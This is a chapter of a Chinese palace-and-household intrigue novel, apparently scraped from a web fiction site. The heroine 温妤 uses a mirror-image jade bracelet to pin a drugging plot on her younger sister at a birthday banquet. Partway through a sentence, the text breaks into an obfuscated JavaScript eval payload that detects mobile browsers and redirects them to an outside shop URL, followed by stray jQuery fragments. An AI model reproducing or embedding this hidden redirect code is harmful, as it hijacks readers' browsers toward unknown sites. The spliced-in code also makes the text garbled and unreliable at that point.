温妤拉住她的衣袖,极轻地摇了摇头。
她们一心认准,想让春鸢顶罪,便不会容她轻易辩白。
此刻,春鸢不该开口。
纪清禾在旁嗤笑一声,语调尖酸:“我就说嘛,怎么席上喝一杯酒便不见人影——怕是偷溜出去见什么情郎了吧?果然,什么样的娘生出什么样的女儿!你娘跟人跑了,你也想学她那副做派?自甘下贱!”
温妤死死咬着下唇,指尖微微颤抖,目光一寸一寸上移,却听纪清澜在一旁柔声道:“清禾,话不能这么说。温妤刚回来,不懂府里的规矩罢了。”
说毕,纪清澜朝温妤望去,目光无甚嘲讽也无甚轻蔑,只是轻描淡写。
老夫人重重咳嗽一声,满屋子人才渐渐安静下来。
她拄拐向前挪动两步,拐杖的龙头停在温妤眼前。
“你可知今日是什么日子?”
“是祖母的寿辰。”温妤垂眸答道。
“你还记得是我的寿辰!”老夫人声音已蓄了愠怒,“你父亲的脸面,纪家的脸面,还有我这把老骨头的脸面,都系在今日这一场的宴上。你倒好,无端失踪许久,从后门溜回来,衣裳换了、头发也散了,你究竟说不说实话!”
在老夫人看来,她温妤已经成为一个私通外男的罪人了。
厅堂掌了灯,影影绰绰的光晕中,纪清禾抱臂而坐,唇角挂着一抹似有若无的微笑。
温妤的眸光一一扫过在场的众人,然后,她开了口。
“并非是孙女有意离席,”她的声音不高不低,平和而徐缓,“是三妹妹将我带走的。”
纪清禾脸上的笑容倏然冻结。
置身事外的纪清澜,面上恍惚掠过一丝错愕。
老夫人皱了皱眉,尚未开口,纪清禾已一跃而起,嗓音尖锐刺耳:“你胡说!血口喷人!我什么时候派人——我连你何时出门都不知!你休想往我身上泼脏水!”
趁她站起身的间隙,温妤飞快地瞥了一眼。
纪清禾的手腕空空如也。
温妤笑了一下,然后从自己腕上缓缓捋下一只镯子。
“我有证据。”温妤以拇、食、中三指将那镯子立捏,高高举过头顶。
众人眸光齐齐探来。
那是一枚雕镂的软玉延枝蔓镯,工艺精致、水头正好,在烛光下泛着盈润的光泽。
“三妹妹,你将我推入凉亭时,我慌乱挣扎将其扯落。你在我身上下了药,又将我带到府中一位花匠面前,本欲玷污……”
说着,温妤垂眸,嗓音已然哽咽,“我竟不知妹妹恨我至此,连纪家的面子都不顾,只想着在众人前毁我清白!”
一旁的春鸢忙应声道:“奴婢就是那时被人打晕的!奴婢当真不是故意躲懒!”
这一回,纪清禾没有再尖声反驳。
她死死望着温妤手心托着的那枚镯子,整个人止不住地颤栗——
这镯子怎么会跑到她手上?
她究竟如何拿到的?!
同样心神巨震的,还有老夫人。
这个镯子,是纪夫人留给女儿的。
阖府上下人尽皆知,三小姐对其珍视至极,每逢重大场合必带出来撑场面。
纪夫人此刻也懵了,见到一模一样的镯子出现,脑子转得极快:“母亲,这个镯子不止清禾有,您不能凭此断定是清禾做的啊。”
“够了。”老夫人沉声呵斥。
她浑浊的双眸此刻像一只精明的狐狸。
并非信了温妤的指认,而是温妤这番话点醒了她。
这不是一桩离席的小事,是有人要害得纪家颜面扫地。老夫人在这深宅活了这么久,二者轻重缓急,她分得清。
“虞芷,”老夫人冷声道,“这就是你养出的好女儿!”
虽是这么说,她的目光却落在了藏匿于烛光暗处的纪清澜。
纪清澜怔怔望着温妤的方向,似乎不明白她将过错推到纪清禾身上的缘由。她的视线极力穿透烛火,游离在温妤的脸上,仿佛要用目光将她的脸灼烧出一个洞。
温妤不惧地回望过来,二人视线交融,耳畔传来纪夫人虞芷的怒斥声。
“你这个糊涂东西!怎能做出这样的事?!你二姐姐才刚回来,你不帮衬着,反倒听了哪个下贱东西的唆使,干出这等混账事?!还不快点跪下赔个不是?”
纪清禾被母亲推得踉跄了一下,跪倒在地,眼泪哗哗淌下来,妆都哭花了,嘴里含糊地喃喃:“我没有,不是我做的……”
这一番指桑骂槐,让一旁的纪清澜如坐针毡,自称身体不适,行了一礼便匆匆回房。
堂内只余纪清禾低低的啜泣声。
老夫人心烦意乱,叹了口气,转而对温妤说道:“回房去吧,今天之事到此为止,你受的委屈,祖母替你记着。”
温妤点了点头,收起镯子,从地上站起身。膝头两团青印子生疼,她忍了忍,懂事地福身告退。
春鸢紧随其后,待回到织云院,她才忍不住一头扑进温妤怀中:“姐姐,幸好你没事儿——”
温妤抱着她,拍了拍她的背,温声道:“被打晕了,疼不疼?”
春鸢摇摇头:“是我没用,没有保护好姐姐。”
温妤道:“不,不是的,春鸢最有用了!坏人在暗我们在明,她们想要做恶事,我们防不胜防。中了奸计不是你的错,是坏人的错。”
春鸢点点头,长舒一口气,撇撇嘴满腹委屈,见春鸢难过,温妤安慰道:“想不想出一口气?”
春鸢眼睛一亮:“想!”
“明日,明日你去夫人院子里外蹲着,自会有人帮咱们出气。”
*
一觉睡到大天亮,温妤舒服地伸了个懒腰,见春鸢果然神采奕奕,甚至愉悦地哼起小曲儿,不由笑了:“什么事儿叫你这样高兴?”
“小姐,你醒啦!”
春鸢忙凑上来,斟上一杯热水,兴高采烈地禀报起来。
“今日一早,我去纪夫人院外蹲守,见纪夫人唤了大小姐去。我装作去后厨打水,竟听见了大小姐的哭声。不过一炷香的功夫,大小姐便红着眼眶从院里出来了,一路快步走回自己院子。”
说到这里,春鸢咂咂舌:“小姐,您说这是夫人在替您做主么?那为何她不光明正大地罚大小姐呢?”
如果想卖温妤一个见面,虞芷大可以当着阖府上下的面,把动静闹得越大越好,而不是背地里甩几个巴掌草草了事。
温妤端起茶盏抿了一口,雾气扑在脸上,热热的很是舒服。
“自然不是,她是在替她的女儿出气——毕竟,这件事根本不是纪清禾做的。”
春鸢惊道:“您知道?那您昨日为何还要攀扯三小姐?”
“纪清禾是虞芷的亲生女儿,养在深闺娇生惯养,虞芷断不会让她牵扯龌龊之事。我将纪清澜做的事堆到纪清禾身上,虞芷岂会不恨那个将女儿当刀使的人?她只会拼了命地替纪清禾把事情按下去,揪出让女儿背黑锅的真凶!”
春鸢追问道:“那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17608037|205792||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
为何小姐不将事情全貌说出来呢?”
温妤摇摇头:“那些没有实证。在堂上争的不是真相,而是老夫人心中的那杆秤。只要秤砣往我这边偏了,我便赢了。”
春鸢“哦”了一声,想了想又问:“对了小姐,你那个镯子,怎会和三小姐的一模一样呀?”
温妤慢条斯理从怀中掏出镯子,在探进窗棂的阳光下细细打量,嗫嚅道:“不一样。她的镯子,是右延枝蔓镯。”
而温妤的,是左延枝蔓镯。
两只玉镯用料、做工完全一致,唯一不同的是,二者是镜面对称的造型。
寻常人不仔细看,可能不会留意到这一正一反的微妙变化,只会当作一样的镯子。
也正因如此,温妤将计就计拿出镯子作为证物,引得纪清禾一时无法自辩。
昨日,温妤本想用别的计策逼急纪清禾,未料到瞥见了她的胳膊空空如也,因此想出这一计策。
温妤道:“我猜,这两只镯子是一对。”
这只玉镯从小留在温妤身边,温妤自己都不知其来头,未曾想到纪清禾,不,应该说是虞芷,手中有这对镯子的另一只。
春鸢惊讶地捂住嘴巴:“镯子竟有渊源——难道夫人与您的生母亦有渊源?”
温妤没有点头,也没有摇头。
虞芷的话说明这个镯子不止纪清禾有,可见她是知道内情的。
她没有利用这对镯子的特点来辩驳,莫非是不想让温妤知道关于生母的事?隐瞒生母的过往,是为阻止追查吗?
温妤拍拍春鸢的脑袋,叮嘱道:“兔子急了也会咬人,咱们近日得处处小心。”
*
纪崇回府后,一家人坐在一起用膳,温妤亦在其中。风言风语从来不少,纪崇多少听进去一些,问起昨日寿宴出了什么事。
气氛骤然间变得很微妙。虞芷的筷子悬在嘴边,眸光却直直盯着纪清澜。
无人应答,纪崇索性直接点了名:“温妤,你说。”
温妤将口中饭菜咽下,沉吟片刻,才开口道:“是三妹妹……”
刚吐出四个字,耳畔传来“咚”地一声闷响,一双筷子被不轻不重搁在桌上,打断了温妤的话。
正是纪清禾摔了筷子。动作急躁,带起的风拂乱鬓边发丝,一双眸子死死盯着对面,压抑着怒声。
“纪清澜,你还不肯说实话吗?”纪清禾冷笑,“纪温妤诬陷我,我姑且当作她不知实情。那你呢?这件事是谁做的,你心里不清楚吗?!”
温妤下意识往后缩了缩脖子。
纪清禾的性子当真是一点亏不肯吃的。
上午刚从她母亲那里知道来龙去脉,中午便按捺不住要当面告发纪清澜。
不过,狗咬狗的场面,温妤很乐意隔岸观火。
纪崇咳了一声:“清澜,怎么回事?”
纪清澜原本正若无其事用膳,被纪清禾点到名也未见半分惧色,谁料纪崇一问出口,她的眼泪霎时便像断了线的珠子,扑簌簌滑落到饭里。
她抬起手背去抹泪,一边哭一边道:“这个家早晚是容不下女儿的!女儿幼时丧母,前路荒芜,不过想给自己寻一条生路罢了,不想却被母亲和妹妹如此欺负……早知如此,当初还不如随着娘亲一同去了——”
她呜呜咽咽哭得梨花带雨,温妤的心却一寸一寸冷了下去。
你丧母可怜,我丧母便是活该吗?
你为自己谋生路便搭上我的前路,难道我就不可怜吗?
……